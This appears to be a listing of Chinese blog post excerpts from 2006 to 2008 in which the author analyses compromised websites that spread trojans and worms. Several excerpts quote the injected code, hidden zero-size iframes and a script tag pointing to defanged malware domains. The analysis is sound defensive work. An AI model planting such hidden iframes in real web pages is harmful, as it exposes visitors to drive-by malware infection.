endurer2006-04-16第2版网友回复说问题已经解决，并把文件INTasks.exe和svchest.exe发了过来2006-04-03第1版刚才收到一个网友转发来的HijackThis的log文件，该网友的网友

endurer原创2007-03-26第1版该网首页末被加入代码：/---＜iframesrc＝"hxxp://w**.q**b*b****d.com/b**d*.htm?001"width＝"0"height＝"0"frameborder＝"0"＞＜/iframe＞＜iframesrc＝"hxxp

endurer原创2007-04-29 第1版植入的代码为：/---＜iframesrc＝hxxp://www.1**8d*m***m.com/d***m*/kehu0739.htmwidth＝0height＝0＞---/kehu0739.htm的内容所用代码为US-ASCII。

endurer原创2007-04-19第1版植入的代码为：/---＜iframesrc=hxxp://www.y*xg**m7****8.com/y*x.htmwidth=0height=0＞＜/iframe＞---/hxxp://www.y*xg**m7****8.com/y*x.htm包含

文学论坛挂的马换成Worm.Win32.Agent.imh了endurer 原创2007-08-22 第1版上回妯现挂的是Worm.Win32.Agent.ipi/Trojan.Win32.Agent.avt刚才一不小心又进去了，卡巴没反

ARP病毒加入的网址传播Trojan.PSW.Win32.OnlineGames,Trojan.DL.Win32.Agent.xaaendurer原创2007-08-28第1版昨天单位又有电脑中了ARP病毒，打开任一网页时，Kaspersky总报

ARP病毒自动加入传播Trojan.PSW.Win32.OnlineGames的代码endurer原创2007-07-31第1版前两天，一位网友反映他最近打开网页显示都是乱码。让他把网页源代码传过来分析，发现网

endurer原创2007-06-12第1版 原来那个Viking还在，又加了一个Viking，几个Trojan和和Worm。网站首页被植入代码：/---＜iframename="tt"src="exobud.htm"width="580"heig

文学论坛挂的马变为Worm.Win32.QQPass.a/0.exeendurer原创2007-08-31第1版检查发现网页中包含代码：/---＜iframesrc="hxxp://www.y*oyo*5*9***.com/m**6*8.htm?id=907"w

一个传播Worm.Win32.Otwycal.c/Worm.Win32.Infei.a的网站endurer原创2008-04-07     第2版补充瑞星的回复                         

某夏露官方网传播RootKit.Win32.RESSDT.o/Trojan-Downloader.Win32.Agent.mjpendurer原创2008-04-09第1版该网站首页包含代码：/---＜iframesrc=hxxp://***.look**des*t**.

某文学网站挂马logo.jpg/logo.exeendurer原创2008-04-30第1版该网站网页包含代码：/---＜scriptsrc="hxxp://www.ol***d*rain.com/ads/iw_t.js"＞＜/scipt＞---/#1hxxp://www.ol**